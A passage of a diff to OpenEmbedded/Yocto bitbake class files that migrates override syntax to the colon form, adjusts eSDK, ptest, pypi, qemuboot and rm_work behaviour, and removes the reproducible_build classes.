+ # If PR Service is in use, we need to export this as well
+ bb.note('Do we have a pr database?')
+ if d.getVar("PRSERV_HOST"):
+ bb.note('Writing PR database...')
+ # Based on the code in classes/prexport.bbclass
+ import oe.prservice
+ #dump meta info of tables
+ localdata = d.createCopy()
+ localdata.setVar('PRSERV_DUMPOPT_COL', "1")
+ localdata.setVar('PRSERV_DUMPDIR', os.path.join(baseoutpath, 'conf'))
+ localdata.setVar('PRSERV_DUMPFILE', '${PRSERV_DUMPDIR}/prserv.inc')
+
+ bb.note('PR Database write to %s' % (localdata.getVar('PRSERV_DUMPFILE')))
+
+ retval = oe.prservice.prserv_dump_db(localdata)
+ if not retval:
+ bb.error("prexport_handler: export failed!")
+ return
+ (metainfo, datainfo) = retval
+ oe.prservice.prserv_export_tofile(localdata, metainfo, datainfo, True)
+
# Use templateconf.cfg file from builddir if exists
- if os.path.exists(builddir + '/conf/templateconf.cfg'):
+ if os.path.exists(builddir + '/conf/templateconf.cfg') and use_custom_templateconf == '1':
shutil.copyfile(builddir + '/conf/templateconf.cfg', baseoutpath + '/conf/templateconf.cfg')
else:
# Write a templateconf.cfg
@@ -512,7 +550,7 @@ python copy_buildsystem () {
# We don't need sstate do_package files
for root, dirs, files in os.walk(sstate_out):
for name in files:
- if name.endswith("_package.tgz"):
+ if name.endswith("_package.tar.zst"):
f = os.path.join(root, name)
os.remove(f)
@@ -522,6 +560,9 @@ python copy_buildsystem () {
# sdk_ext_postinst() below) thus the checksum we take here would always
# be different.
manifest_file_list = ['conf/*']
+ if d.getVar('BBMULTICONFIG') is not None:
+ manifest_file_list.append('conf/multiconfig/*')
+
esdk_manifest_excludes = (d.getVar('ESDK_MANIFEST_EXCLUDES') or '').split()
esdk_manifest_excludes_list = []
for exclude_item in esdk_manifest_excludes:
@@ -530,7 +571,7 @@ python copy_buildsystem () {
with open(manifest_file, 'w') as f:
for item in manifest_file_list:
for fn in glob.glob(os.path.join(baseoutpath, item)):
- if fn == manifest_file:
+ if fn == manifest_file or os.path.isdir(fn):
continue
if fn in esdk_manifest_excludes_list:
continue
@@ -585,7 +626,7 @@ install_tools() {
for script in $scripts; do
for scriptfn in `find ${SDK_OUTPUT}/${SDKPATH}/${scriptrelpath} -maxdepth 1 -executable -name "$script"`; do
targetscriptfn="${SDK_OUTPUT}/${SDKPATHNATIVE}${bindir_nativesdk}/$(basename $scriptfn)"
- test -e ${targetscriptfn} || lnr ${scriptfn} ${targetscriptfn}
+ test -e ${targetscriptfn} || ln -rs ${scriptfn} ${targetscriptfn}
done
done
# We can't use the same method as above because files in the sysroot won't exist at this point
@@ -593,7 +634,7 @@ install_tools() {
unfsd_path="${SDK_OUTPUT}/${SDKPATHNATIVE}${bindir_nativesdk}/unfsd"
if [ "${SDK_INCLUDE_TOOLCHAIN}" = "1" -a ! -e $unfsd_path ] ; then
binrelpath=${@os.path.relpath(d.getVar('STAGING_BINDIR_NATIVE'), d.getVar('TMPDIR'))}
- lnr ${SDK_OUTPUT}/${SDKPATH}/tmp/$binrelpath/unfsd $unfsd_path
+ ln -rs ${SDK_OUTPUT}/${SDKPATH}/tmp/$binrelpath/unfsd $unfsd_path
fi
touch ${SDK_OUTPUT}/${SDKPATH}/.devtoolbase
@@ -643,7 +684,7 @@ sdk_ext_preinst() {
EXTRA_TAR_OPTIONS="$EXTRA_TAR_OPTIONS --exclude=sstate-cache"
fi
}
-SDK_PRE_INSTALL_COMMAND_task-populate-sdk-ext = "${sdk_ext_preinst}"
+SDK_PRE_INSTALL_COMMAND:task-populate-sdk-ext = "${sdk_ext_preinst}"
# FIXME this preparation should be done as part of the SDK construction
sdk_ext_postinst() {
@@ -694,9 +735,9 @@ sdk_ext_postinst() {
echo done
}
-SDK_POST_INSTALL_COMMAND_task-populate-sdk-ext = "${sdk_ext_postinst}"
+SDK_POST_INSTALL_COMMAND:task-populate-sdk-ext = "${sdk_ext_postinst}"
-SDK_POSTPROCESS_COMMAND_prepend_task-populate-sdk-ext = "copy_buildsystem; install_tools; "
+SDK_POSTPROCESS_COMMAND:prepend:task-populate-sdk-ext = "copy_buildsystem; install_tools; "
SDK_INSTALL_TARGETS = ""
fakeroot python do_populate_sdk_ext() {
@@ -705,6 +746,15 @@ fakeroot python do_populate_sdk_ext() {
if d.getVar('SDK_ARCH') != d.getVar('BUILD_ARCH'):
bb.fatal('The extensible SDK can currently only be built for the same architecture as the machine being built on - SDK_ARCH is set to %s (likely via setting SDKMACHINE) which is different from the architecture of the build machine (%s). Unable to continue.' % (d.getVar('SDK_ARCH'), d.getVar('BUILD_ARCH')))
+ # FIXME hopefully we can remove this restriction at some point, but the eSDK
+ # can only be built for the primary (default) multiconfig
+ if d.getVar('BB_CURRENT_MC') != 'default':
+ bb.fatal('The extensible SDK can currently only be built for the default multiconfig. Currently trying to build for %s.' % d.getVar('BB_CURRENT_MC'))
+
+ # eSDK dependencies don't use the traditional variables and things don't work properly if they are set
+ d.setVar("TOOLCHAIN_HOST_TASK", "${TOOLCHAIN_HOST_TASK_ESDK}")
+ d.setVar("TOOLCHAIN_TARGET_TASK", "")
+
d.setVar('SDK_INSTALL_TARGETS', get_sdk_install_targets(d))
if d.getVar('SDK_INCLUDE_BUILDTOOLS') == '1':
buildtools_fn = get_current_buildtools(d)
@@ -750,12 +800,7 @@ do_sdk_depends[dirs] = "${WORKDIR}"
do_sdk_depends[depends] = "${@get_ext_sdk_depends(d)} meta-extsdk-toolchain:do_populate_sysroot"
do_sdk_depends[recrdeptask] = "${@d.getVarFlag('do_populate_sdk', 'recrdeptask', False)}"
do_sdk_depends[recrdeptask] += "do_populate_lic do_package_qa do_populate_sysroot do_deploy ${SDK_RECRDEP_TASKS}"
-do_sdk_depends[rdepends] = "${@get_sdk_ext_rdepends(d)}"
-
-def get_sdk_ext_rdepends(d):
- localdata = d.createCopy()
- localdata.appendVar('OVERRIDES', ':task-populate-sdk-ext')
- return localdata.getVarFlag('do_populate_sdk', 'rdepends')
+do_sdk_depends[rdepends] = "${@' '.join([x + ':do_package_write_${IMAGE_PKGTYPE} ' + x + ':do_packagedata' for x in d.getVar('TOOLCHAIN_HOST_TASK_ESDK').split()])}"
do_populate_sdk_ext[dirs] = "${@d.getVarFlag('do_populate_sdk', 'dirs', False)}"
@@ -783,7 +828,7 @@ do_populate_sdk_ext[nostamp] = "1"
SDKEXTDEPLOYDIR = "${WORKDIR}/deploy-${PN}-populate-sdk-ext"
SSTATETASKS += "do_populate_sdk_ext"
-SSTATE_SKIP_CREATION_task-populate-sdk-ext = '1'
+SSTATE_SKIP_CREATION:task-populate-sdk-ext = '1'
do_populate_sdk_ext[cleandirs] = "${SDKEXTDEPLOYDIR}"
do_populate_sdk_ext[sstate-inputdirs] = "${SDKEXTDEPLOYDIR}"
do_populate_sdk_ext[sstate-outputdirs] = "${SDK_DEPLOY}"
diff --git a/meta/classes/ptest-gnome.bbclass b/meta/classes/ptest-gnome.bbclass
index 478a33474d..18bd3dbff9 100644
--- a/meta/classes/ptest-gnome.bbclass
+++ b/meta/classes/ptest-gnome.bbclass
@@ -1,8 +1,8 @@
inherit ptest
-EXTRA_OECONF_append = " ${@bb.utils.contains('PTEST_ENABLED', '1', '--enable-installed-tests', '--disable-installed-tests', d)}"
+EXTRA_OECONF:append = " ${@bb.utils.contains('PTEST_ENABLED', '1', '--enable-installed-tests', '--disable-installed-tests', d)}"
-FILES_${PN}-ptest += "${libexecdir}/installed-tests/ \
+FILES:${PN}-ptest += "${libexecdir}/installed-tests/ \
${datadir}/installed-tests/"
-RDEPENDS_${PN}-ptest += "gnome-desktop-testing"
+RDEPENDS:${PN}-ptest += "gnome-desktop-testing"
diff --git a/meta/classes/ptest-perl.bbclass b/meta/classes/ptest-perl.bbclass
index a4bc40b51a..5dd72c9dad 100644
--- a/meta/classes/ptest-perl.bbclass
+++ b/meta/classes/ptest-perl.bbclass
@@ -1,6 +1,6 @@
inherit ptest
-FILESEXTRAPATHS_prepend := "${COREBASE}/meta/files:"
+FILESEXTRAPATHS:prepend := "${COREBASE}/meta/files:"
SRC_URI += "file://ptest-perl/run-ptest"
@@ -13,9 +13,9 @@ do_install_ptest_perl() {
chown -R root:root ${D}${PTEST_PATH}
}
-FILES_${PN}-ptest_prepend = "${PTEST_PATH}/t/* ${PTEST_PATH}/run-ptest "
+FILES:${PN}-ptest:prepend = "${PTEST_PATH}/t/* ${PTEST_PATH}/run-ptest "
-RDEPENDS_${PN}-ptest_prepend = "perl "
+RDEPENDS:${PN}-ptest:prepend = "perl "
addtask install_ptest_perl after do_install_ptest_base before do_package
diff --git a/meta/classes/ptest.bbclass b/meta/classes/ptest.bbclass
index 47611edea2..1ec23c0923 100644
--- a/meta/classes/ptest.bbclass
+++ b/meta/classes/ptest.bbclass
@@ -1,25 +1,27 @@
-SUMMARY_${PN}-ptest ?= "${SUMMARY} - Package test files"
-DESCRIPTION_${PN}-ptest ?= "${DESCRIPTION} \
+SUMMARY:${PN}-ptest ?= "${SUMMARY} - Package test files"
+DESCRIPTION:${PN}-ptest ?= "${DESCRIPTION} \
This package contains a test directory ${PTEST_PATH} for package test purposes."
PTEST_PATH ?= "${libdir}/${BPN}/ptest"
PTEST_BUILD_HOST_FILES ?= "Makefile"
PTEST_BUILD_HOST_PATTERN ?= ""
-FILES_${PN}-ptest += "${PTEST_PATH}"
-SECTION_${PN}-ptest = "devel"
-ALLOW_EMPTY_${PN}-ptest = "1"
+FILES:${PN}-ptest += "${PTEST_PATH}"
+SECTION:${PN}-ptest = "devel"
+ALLOW_EMPTY:${PN}-ptest = "1"
PTEST_ENABLED = "${@bb.utils.contains('DISTRO_FEATURES', 'ptest', '1', '0', d)}"
-PTEST_ENABLED_class-native = ""
-PTEST_ENABLED_class-nativesdk = ""
-PTEST_ENABLED_class-cross-canadian = ""
-RDEPENDS_${PN}-ptest += "${PN}"
-RDEPENDS_${PN}-ptest_class-native = ""
-RDEPENDS_${PN}-ptest_class-nativesdk = ""
-RRECOMMENDS_${PN}-ptest += "ptest-runner"
+PTEST_ENABLED:class-native = ""
+PTEST_ENABLED:class-nativesdk = ""
+PTEST_ENABLED:class-cross-canadian = ""
+RDEPENDS:${PN}-ptest += "${PN}"
+RDEPENDS:${PN}-ptest:class-native = ""
+RDEPENDS:${PN}-ptest:class-nativesdk = ""
+RRECOMMENDS:${PN}-ptest += "ptest-runner"
PACKAGES =+ "${@bb.utils.contains('PTEST_ENABLED', '1', '${PN}-ptest', '', d)}"
+require conf/distro/include/ptest-packagelists.inc
+
do_configure_ptest() {
:
}
@@ -71,7 +73,7 @@ PTEST_BINDIR_PKGD_PATH = "${PKGD}${PTEST_PATH}/bin"
# This function needs to run after apply_update_alternative_renames because the
# aforementioned function will update the ALTERNATIVE_LINK_NAME flag. Append is
# used here to make this function to run as late as possible.
-PACKAGE_PREPROCESS_FUNCS_append = "${@bb.utils.contains('PTEST_BINDIR', '1', \
+PACKAGE_PREPROCESS_FUNCS:append = "${@bb.utils.contains('PTEST_BINDIR', '1', \
bb.utils.contains('PTEST_ENABLED', '1', ' ptest_update_alternatives', '', d), '', d)}"
python ptest_update_alternatives() {
@@ -117,3 +119,14 @@ python () {
for i in ['do_configure_ptest_base', 'do_compile_ptest_base', 'do_install_ptest_base']:
bb.build.deltask(i, d)
}
+
+QARECIPETEST[missing-ptest] = "package_qa_check_missing_ptest"
+def package_qa_check_missing_ptest(pn, d, messages):
+ # This checks that ptest package is actually included
+ # in standard oe-core ptest images - only for oe-core recipes
+ if not 'meta/recipes' in d.getVar('FILE') or not(d.getVar('PTEST_ENABLED') == "1"):
+ return
+
+ enabled_ptests = " ".join([d.getVar('PTESTS_FAST'), d.getVar('PTESTS_SLOW'), d.getVar('PTESTS_PROBLEMS')]).split()
+ if (pn + "-ptest").replace(d.getVar('MLPREFIX'), '') not in enabled_ptests:
+ oe.qa.handle_error("missing-ptest", "supports ptests but is not included in oe-core's ptest-packagelists.inc", d)
diff --git a/meta/classes/pypi.bbclass b/meta/classes/pypi.bbclass
index 87b4c85fc0..9405d58601 100644
--- a/meta/classes/pypi.bbclass
+++ b/meta/classes/pypi.bbclass
@@ -8,18 +8,18 @@ def pypi_package(d):
PYPI_PACKAGE ?= "${@pypi_package(d)}"
PYPI_PACKAGE_EXT ?= "tar.gz"
+PYPI_ARCHIVE_NAME ?= "${PYPI_PACKAGE}-${PV}.${PYPI_PACKAGE_EXT}"
def pypi_src_uri(d):
package = d.getVar('PYPI_PACKAGE')
- package_ext = d.getVar('PYPI_PACKAGE_EXT')
- pv = d.getVar('PV')
- return 'https://files.pythonhosted.org/packages/source/%s/%s/%s-%s.%s' % (package[0], package, package, pv, package_ext)
+ archive_name = d.getVar('PYPI_ARCHIVE_NAME')
+ return 'https://files.pythonhosted.org/packages/source/%s/%s/%s' % (package[0], package, archive_name)
PYPI_SRC_URI ?= "${@pypi_src_uri(d)}"
HOMEPAGE ?= "https://pypi.python.org/pypi/${PYPI_PACKAGE}/"
SECTION = "devel/python"
-SRC_URI += "${PYPI_SRC_URI}"
+SRC_URI:prepend = "${PYPI_SRC_URI} "
S = "${WORKDIR}/${PYPI_PACKAGE}-${PV}"
UPSTREAM_CHECK_URI ?= "https://pypi.org/project/${PYPI_PACKAGE}/"
diff --git a/meta/classes/python3-dir.bbclass b/meta/classes/python3-dir.bbclass
index f51f971fc5..ff03e584d4 100644
--- a/meta/classes/python3-dir.bbclass
+++ b/meta/classes/python3-dir.bbclass
@@ -1,4 +1,4 @@
-PYTHON_BASEVERSION = "3.9"
+PYTHON_BASEVERSION = "3.10"
PYTHON_ABI = ""
PYTHON_DIR = "python${PYTHON_BASEVERSION}"
PYTHON_PN = "python3"
diff --git a/meta/classes/python3native.bbclass b/meta/classes/python3native.bbclass
index 2e3a88c126..13fbaa5f9c 100644
--- a/meta/classes/python3native.bbclass
+++ b/meta/classes/python3native.bbclass
@@ -2,7 +2,7 @@ inherit python3-dir
PYTHON="${STAGING_BINDIR_NATIVE}/python3-native/python3"
EXTRANATIVEPATH += "python3-native"
-DEPENDS_append = " python3-native "
+DEPENDS:append = " python3-native "
# python-config and other scripts are using distutils modules
# which we patch to access these variables
diff --git a/meta/classes/python3targetconfig.bbclass b/meta/classes/python3targetconfig.bbclass
index fc1025c207..5c8457acaa 100644
--- a/meta/classes/python3targetconfig.bbclass
+++ b/meta/classes/python3targetconfig.bbclass
@@ -1,17 +1,17 @@
inherit python3native
EXTRA_PYTHON_DEPENDS ?= ""
-EXTRA_PYTHON_DEPENDS_class-target = "python3"
-DEPENDS_append = " ${EXTRA_PYTHON_DEPENDS}"
+EXTRA_PYTHON_DEPENDS:class-target = "python3"
+DEPENDS:append = " ${EXTRA_PYTHON_DEPENDS}"
-do_configure_prepend_class-target() {
+do_configure:prepend:class-target() {
export _PYTHON_SYSCONFIGDATA_NAME="_sysconfigdata"
}
-do_compile_prepend_class-target() {
+do_compile:prepend:class-target() {
export _PYTHON_SYSCONFIGDATA_NAME="_sysconfigdata"
}
-do_install_prepend_class-target() {
+do_install:prepend:class-target() {
export _PYTHON_SYSCONFIGDATA_NAME="_sysconfigdata"
}
diff --git a/meta/classes/qemu.bbclass b/meta/classes/qemu.bbclass
index 55bdff816b..333202b7c4 100644
--- a/meta/classes/qemu.bbclass
+++ b/meta/classes/qemu.bbclass
@@ -54,7 +54,7 @@ def qemu_run_binary(data, rootfs_path, binary):
# this dance). For others (e.g. arm) a -cpu option is not necessary, since the
# qemu-arm default CPU supports all required architecture levels.
-QEMU_OPTIONS = "-r ${OLDEST_KERNEL} ${@d.getVar("QEMU_EXTRAOPTIONS_%s" % d.getVar('PACKAGE_ARCH')) or ""}"
+QEMU_OPTIONS = "${@d.getVar("QEMU_EXTRAOPTIONS_%s" % d.getVar('PACKAGE_ARCH')) or ""}"
QEMU_OPTIONS[vardeps] += "QEMU_EXTRAOPTIONS_${PACKAGE_ARCH}"
QEMU_EXTRAOPTIONS_ppce500v2 = " -cpu e500v2"
@@ -64,4 +64,4 @@ QEMU_EXTRAOPTIONS_ppc64e5500 = " -cpu e500mc"
QEMU_EXTRAOPTIONS_ppce6500 = " -cpu e500mc"
QEMU_EXTRAOPTIONS_ppc64e6500 = " -cpu e500mc"
QEMU_EXTRAOPTIONS_ppc7400 = " -cpu 7400"
-QEMU_EXTRAOPTIONS_powerpc64le = " -cpu POWER8"
+QEMU_EXTRAOPTIONS:powerpc64le = " -cpu POWER8"
diff --git a/meta/classes/qemuboot.bbclass b/meta/classes/qemuboot.bbclass
index 4b7532b304..95cd1d6c4a 100644
--- a/meta/classes/qemuboot.bbclass
+++ b/meta/classes/qemuboot.bbclass
@@ -19,6 +19,9 @@
# QB_CPU_KVM: the similar to QB_CPU, but used when kvm, e.g., '-cpu kvm64',
# set it when support kvm.
#
+# QB_SMP: amount of CPU cores inside qemu guest, each mapped to a thread on the host,
+# e.g. "-smp 8".
+#
# QB_KERNEL_CMDLINE_APPEND: options to append to kernel's -append
# option, e.g., "console=ttyS0 console=tty"
#
@@ -33,6 +36,8 @@
# in system mode, where system is experiencing entropy starvation
#
# QB_KERNEL_ROOT: kernel's root, e.g., /dev/vda
+# By default "/dev/vda rw" gets passed to the kernel.
+# To mount the rootfs read-only QB_KERNEL_ROOT can be set to e.g. "/dev/vda ro".
#
# QB_NETWORK_DEVICE: network device, e.g., "-device virtio-net-pci,netdev=net0,mac=@MAC@",
# it needs work with QB_TAP_OPT and QB_SLIRP_OPT.
@@ -40,7 +45,7 @@
# a custom one, but that may cause conflicts when multiple qemus are
# running on the same host.
# Note: If more than one interface of type -device virtio-net-device gets added,
-# QB_NETWORK_DEVICE_prepend might be used, since Qemu enumerates the eth*
+# QB_NETWORK_DEVICE:prepend might be used, since Qemu enumerates the eth*
# devices in reverse order to -device arguments.
#
# QB_TAP_OPT: network option for 'tap' mode, e.g.,
@@ -72,11 +77,15 @@
# Can be used to automatically determine the image from the other variables
# but define things link 'bootindex' when booting from EFI or 'readonly' when using squashfs
# without the need to specify a dedicated qemu configuration
+#
+# QB_GRAPHICS: QEMU video card type (e.g. "-vga std")
+#
# Usage:
# IMAGE_CLASSES += "qemuboot"
# See "runqemu help" for more info
QB_MEM ?= "-m 256"
+QB_SMP ?= ""
QB_SERIAL_OPT ?= "-serial mon:stdio -serial null"
QB_DEFAULT_KERNEL ?= "${KERNEL_IMAGETYPE}"
QB_DEFAULT_FSTYPE ?= "ext4"
@@ -86,6 +95,7 @@ QB_NETWORK_DEVICE ?= "-device virtio-net-pci,netdev=net0,mac=@MAC@"
QB_CMDLINE_IP_SLIRP ?= "ip=dhcp"
QB_CMDLINE_IP_TAP ?= "ip=192.168.7.@CLIENT@::192.168.7.@GATEWAY@:255.255.255.0"
QB_ROOTFS_EXTRA_OPT ?= ""
+QB_GRAPHICS ?= ""
# This should be kept align with ROOT_VM
QB_DRIVE_TYPE ?= "/dev/sd"
@@ -99,7 +109,7 @@ def qemuboot_vars(d):
build_vars = ['MACHINE', 'TUNE_ARCH', 'DEPLOY_DIR_IMAGE',
'KERNEL_IMAGETYPE', 'IMAGE_NAME', 'IMAGE_LINK_NAME',
'STAGING_DIR_NATIVE', 'STAGING_BINDIR_NATIVE',
- 'STAGING_DIR_HOST']
+ 'STAGING_DIR_HOST', 'SERIAL_CONSOLES']
return build_vars + [k for k in d.keys() if k.startswith('QB_')]
do_write_qemuboot_conf[vardeps] += "${@' '.join(qemuboot_vars(d))}"
@@ -108,12 +118,17 @@ python do_write_qemuboot_conf() {
import configparser
qemuboot = "%s/%s.qemuboot.conf" % (d.getVar('IMGDEPLOYDIR'), d.getVar('IMAGE_NAME'))
- qemuboot_link = "%s/%s.qemuboot.conf" % (d.getVar('IMGDEPLOYDIR'), d.getVar('IMAGE_LINK_NAME'))
+ if d.getVar('IMAGE_LINK_NAME'):
+ qemuboot_link = "%s/%s.qemuboot.conf" % (d.getVar('IMGDEPLOYDIR'), d.getVar('IMAGE_LINK_NAME'))
+ else:
+ qemuboot_link = ""
finalpath = d.getVar("DEPLOY_DIR_IMAGE")
topdir = d.getVar('TOPDIR')
cf = configparser.ConfigParser()
cf.add_section('config_bsp')
for k in sorted(qemuboot_vars(d)):
+ if ":" in k:
+ continue
# qemu-helper-native sysroot is not removed by rm_work and
# contains all tools required by runqemu
if k == 'STAGING_BINDIR_NATIVE':
@@ -141,7 +156,7 @@ python do_write_qemuboot_conf() {
with open(qemuboot, 'w') as f:
cf.write(f)
- if qemuboot_link != qemuboot:
+ if qemuboot_link and qemuboot_link != qemuboot:
if os.path.lexists(qemuboot_link):
os.remove(qemuboot_link)
os.symlink(os.path.basename(qemuboot), qemuboot_link)
diff --git a/meta/classes/report-error.bbclass b/meta/classes/report-error.bbclass
index 1a12db1206..de48e4ff0f 100644
--- a/meta/classes/report-error.bbclass
+++ b/meta/classes/report-error.bbclass
@@ -64,6 +64,8 @@ python errorreport_handler () {
data['failures'] = []
data['component'] = " ".join(e.getPkgs())
data['branch_commit'] = str(base_detect_branch(e.data)) + ": " + str(base_detect_revision(e.data))
+ data['bitbake_version'] = e.data.getVar("BB_VERSION")
+ data['layer_version'] = get_layers_branch_rev(e.data)
data['local_conf'] = get_conf_data(e, 'local.conf')
data['auto_conf'] = get_conf_data(e, 'auto.conf')
lock = bb.utils.lockfile(datafile + '.lock')
diff --git a/meta/classes/reproducible_build.bbclass b/meta/classes/reproducible_build.bbclass
deleted file mode 100644
index 2f3bd90b07..0000000000
--- a/meta/classes/reproducible_build.bbclass
+++ /dev/null
@@ -1,118 +0,0 @@
-# reproducible_build.bbclass
-#
-# Sets SOURCE_DATE_EPOCH in each component's build environment.
-# Upstream components (generally) respect this environment variable,
-# using it in place of the "current" date and time.
-# See https://reproducible-builds.org/specs/source-date-epoch/
-#
-# After sources are unpacked but before they are patched, we set a reproducible value for SOURCE_DATE_EPOCH.
-# This value should be reproducible for anyone who builds the same revision from the same sources.
-#
-# There are 4 ways we determine SOURCE_DATE_EPOCH:
-#
-# 1. Use the value from __source_date_epoch.txt file if this file exists.
-# This file was most likely created in the previous build by one of the following methods 2,3,4.
-# Alternatively, it can be provided by a recipe via SRC_URI.
-#
-# If the file does not exist:
-#
-# 2. If there is a git checkout, use the last git commit timestamp.
-# Git does not preserve file timestamps on checkout.
-#
-# 3. Use the mtime of "known" files such as NEWS, CHANGLELOG, ...
-# This works for well-kept repositories distributed via tarball.
-#
-# 4. Use the modification time of the youngest file in the source tree, if there is one.
-# This will be the newest file from the distribution tarball, if any.
-#
-# 5. Fall back to a fixed timestamp.
-#
-# Once the value of SOURCE_DATE_EPOCH is determined, it is stored in the recipe's SDE_FILE.
-# If none of these mechanisms are suitable, replace the do_deploy_source_date_epoch task
-# with recipe-specific functionality to write the appropriate SOURCE_DATE_EPOCH into the SDE_FILE.
-#
-# If this file is found by other tasks, the value is exported in the SOURCE_DATE_EPOCH variable.
-# SOURCE_DATE_EPOCH is set for all tasks that might use it (do_configure, do_compile, do_package, ...)
-
-BUILD_REPRODUCIBLE_BINARIES ??= '1'
-inherit ${@oe.utils.ifelse(d.getVar('BUILD_REPRODUCIBLE_BINARIES') == '1', 'reproducible_build_simple', '')}
-
-SDE_DIR ="${WORKDIR}/source-date-epoch"
-SDE_FILE = "${SDE_DIR}/__source_date_epoch.txt"
-SDE_DEPLOYDIR = "${WORKDIR}/deploy-source-date-epoch"
-
-SSTATETASKS += "do_deploy_source_date_epoch"
-
-do_deploy_source_date_epoch () {
- mkdir -p ${SDE_DEPLOYDIR}
- if [ -e ${SDE_FILE} ]; then
- echo "Deploying SDE from ${SDE_FILE} -> ${SDE_DEPLOYDIR}."
- cp -p ${SDE_FILE} ${SDE_DEPLOYDIR}/__source_date_epoch.txt
- else
- echo "${SDE_FILE} not found!"
- fi
-}
-
-python do_deploy_source_date_epoch_setscene () {
- sstate_setscene(d)
- bb.utils.mkdirhier(d.getVar('SDE_DIR'))
- sde_file = os.path.join(d.getVar('SDE_DEPLOYDIR'), '__source_date_epoch.txt')
- if os.path.exists(sde_file):
- target = d.getVar('SDE_FILE')
- bb.debug(1, "Moving setscene SDE file %s -> %s" % (sde_file, target))
- os.rename(sde_file, target)
- else:
- bb.debug(1, "%s not found!" % sde_file)
-}
-
-do_deploy_source_date_epoch[dirs] = "${SDE_DEPLOYDIR}"
-do_deploy_source_date_epoch[sstate-plaindirs] = "${SDE_DEPLOYDIR}"
-addtask do_deploy_source_date_epoch_setscene
-addtask do_deploy_source_date_epoch before do_configure after do_patch
-
-python create_source_date_epoch_stamp() {
- import oe.reproducible
-
- epochfile = d.getVar('SDE_FILE')
- # If it exists we need to regenerate as the sources may have changed
- if os.path.isfile(epochfile):
- bb.debug(1, "Deleting existing SOURCE_DATE_EPOCH from: %s" % epochfile)
- os.remove(epochfile)
-
- source_date_epoch = oe.reproducible.get_source_date_epoch(d, d.getVar('S'))
-
- bb.debug(1, "SOURCE_DATE_EPOCH: %d" % source_date_epoch)
- bb.utils.mkdirhier(d.getVar('SDE_DIR'))
- with open(epochfile, 'w') as f:
- f.write(str(source_date_epoch))
-}
-
-def get_source_date_epoch_value(d):
- cached = d.getVar('__CACHED_SOURCE_DATE_EPOCH')
- if cached:
- return cached
-
- epochfile = d.getVar('SDE_FILE')
- source_date_epoch = 0
- if os.path.isfile(epochfile):
- with open(epochfile, 'r') as f:
- s = f.read()
- try:
- source_date_epoch = int(s)
- except ValueError:
- bb.warn("SOURCE_DATE_EPOCH value '%s' is invalid. Reverting to 0" % s)
- source_date_epoch = 0
- bb.debug(1, "SOURCE_DATE_EPOCH: %d" % source_date_epoch)
- else:
- bb.debug(1, "Cannot find %s. SOURCE_DATE_EPOCH will default to %d" % (epochfile, source_date_epoch))
-
- d.setVar('__CACHED_SOURCE_DATE_EPOCH', str(source_date_epoch))
- return str(source_date_epoch)
-
-export SOURCE_DATE_EPOCH ?= "${@get_source_date_epoch_value(d)}"
-BB_HASHBASE_WHITELIST += "SOURCE_DATE_EPOCH"
-
-python () {
- if d.getVar('BUILD_REPRODUCIBLE_BINARIES') == '1':
- d.appendVarFlag("do_unpack", "postfuncs", " create_source_date_epoch_stamp")
-}
diff --git a/meta/classes/reproducible_build_simple.bbclass b/meta/classes/reproducible_build_simple.bbclass
deleted file mode 100644
index 393372993d..0000000000
--- a/meta/classes/reproducible_build_simple.bbclass
+++ /dev/null
@@ -1,9 +0,0 @@
-# Setup default environment for reproducible builds.
-
-BUILD_REPRODUCIBLE_BINARIES = "1"
-
-export PYTHONHASHSEED = "0"
-export PERL_HASH_SEED = "0"
-export SOURCE_DATE_EPOCH ??= "1520598896"
-
-REPRODUCIBLE_TIMESTAMP_ROOTFS ??= "1520598896"
diff --git a/meta/classes/rm_work.bbclass b/meta/classes/rm_work.bbclass
index 01c2ab1c78..5f12d5aaeb 100644
--- a/meta/classes/rm_work.bbclass
+++ b/meta/classes/rm_work.bbclass
@@ -13,7 +13,7 @@
# Recipes can also configure which entries in their ${WORKDIR}
# are preserved besides temp, which already gets excluded by default
# because it contains logs:
-# do_install_append () {
+# do_install:append () {
# echo "bar" >${WORKDIR}/foo
# }
# RM_WORK_EXCLUDE_ITEMS += "foo"
@@ -24,7 +24,7 @@ RM_WORK_EXCLUDE_ITEMS = "temp"
BB_SCHEDULER ?= "completion"
# Run the rm_work task in the idle scheduling class
-BB_TASK_IONICE_LEVEL_task-rm_work = "3.0"
+BB_TASK_IONICE_LEVEL:task-rm_work = "3.0"
do_rm_work () {
# If the recipe name is in the RM_WORK_EXCLUDE, skip the recipe.
@@ -73,7 +73,7 @@ do_rm_work () {
# sstate version since otherwise we'd need to leave 'plaindirs' around
# such as 'packages' and 'packages-split' and these can be large. No end
# of chain tasks depend directly on do_package anymore.
- rm -f $i;
+ rm -f -- $i;
;;
*_setscene*)
# Skip stamps which are already setscene versions
@@ -90,7 +90,7 @@ do_rm_work () {
;;
esac
done
- rm -f $i
+ rm -f -- $i
esac
done
@@ -100,9 +100,9 @@ do_rm_work () {
# Retain only logs and other files in temp, safely ignore
# failures of removing pseudo folers on NFS2/3 server.
if [ $dir = 'pseudo' ]; then
- rm -rf $dir 2> /dev/null || true
+ rm -rf -- $dir 2> /dev/null || true
elif ! echo "$excludes" | grep -q -w "$dir"; then
- rm -rf $dir
+ rm -rf -- $dir
fi
done
}
diff --git a/meta/classes/rm_work_and_downloads.bbclass b/meta/classes/rm_work_and_downloads.bbclass
index 7c00bea597..15e6091b9d 100644
--- a/meta/classes/rm_work_and_downloads.bbclass
+++ b/meta/classes/rm_work_and_downloads.bbclass
@@ -28,6 +28,6 @@ inherit rm_work
# Instead go up one level and remove ourself.
DL_DIR = "${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}/${PN}/downloads"
-do_rm_work_append () {
+do_rm_work:append () {
rm -rf ${DL_DIR}
}
diff --git a/meta/classes/rootfs-postcommands.bbclass b/meta/classes/rootfs-postcommands.bbclass
index 1f27a3d07a..a3f96ef7ed 100644
--- a/meta/classes/rootfs-postcommands.bbclass
+++ b/meta/classes/rootfs-postcommands.bbclass
@@ -23,7 +23,7 @@ ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains("IMAGE_FEATURES", "read-only
#
# We do this with _append because the default value might get set later with ?=
# and we don't want to disable such a default that by setting a value here.
-APPEND_append = '${@bb.utils.contains("IMAGE_FEATURES", "read-only-rootfs", " ro", "", d)}'
+APPEND:append = '${@bb.utils.contains("IMAGE_FEATURES", "read-only-rootfs", " ro", "", d)}'
# Generates test data file with data store variables expanded in json format
ROOTFS_POSTPROCESS_COMMAND += "write_image_test_data; "
@@ -34,11 +34,13 @@ ROOTFS_POSTUNINSTALL_COMMAND =+ "write_image_manifest ; "
# Set default postinst log file
POSTINST_LOGFILE ?= "${localstatedir}/log/postinstall.log"
